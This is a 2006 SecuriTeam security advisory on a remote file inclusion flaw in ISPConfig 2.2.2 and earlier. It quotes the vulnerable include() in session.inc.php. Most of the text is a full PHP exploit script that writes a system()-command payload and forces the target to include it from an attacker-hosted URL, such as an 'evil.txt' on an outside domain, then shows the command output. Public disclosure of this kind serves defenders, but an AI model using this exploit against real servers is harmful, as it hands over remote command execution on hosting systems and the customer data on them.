[UNIX] ISPConfig Remote Command Execution
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 7 May 2006 15:28:28 +0200
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ISPConfig Remote Command Execution
------------------------------------------------------------------------
SUMMARY
ISPConfig is a fully-fledged solution for multi-domain Internet hosts,
covering email, FTP, database and Web services through a nifty control
panel. Throw in security, customer management and a billing solution, and
it gets pretty attractive.
There is a remote file inclusion vulnerability that allows for remote
command execution.
DETAILS
Vulnerable Systems:
* ISPConfig versions 2.2.2 and prior.
There is a remote file inclusion vulnerability that allows for remote
command execution in the /lib/session.inc.php file.
The bug is here:
include($go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
"ispconfig_template.lib.php");
the $go_info["server"]["classes_root"] variable is not set prior to being
used in the include() function.
Vendor Status:
The vendor and support team have been contacted.
Exploit:
<?php
/*
ISPConfig Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url: http://www.xorcrew.net/ReZEN
example:
turl:
http://www.target.com/lib/session.inc.php?go_info[server][classes_root]=
hurl: http://www.pwn3d.com/evil.txt?
*/
$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];
$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\"
value=\"".$turl."\"><br>"
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\"
value=\"".$hurl."\"><br>"
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";
if (!isset($_POST['submit']))
{
echo $form;
}else{
$file = fopen ("test.txt", "w+");
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);
$file = fopen ($turl.$hurl, "r");
if (!$file) {
echo "<p>Unable to get output.\n";
exit;
}
echo $form;
while (!feof ($file)) {
$line .= fgets ($file, 1024)."<br>";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;
}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:wr0ck.lists@xxxxxxxxx>
wr0ck.
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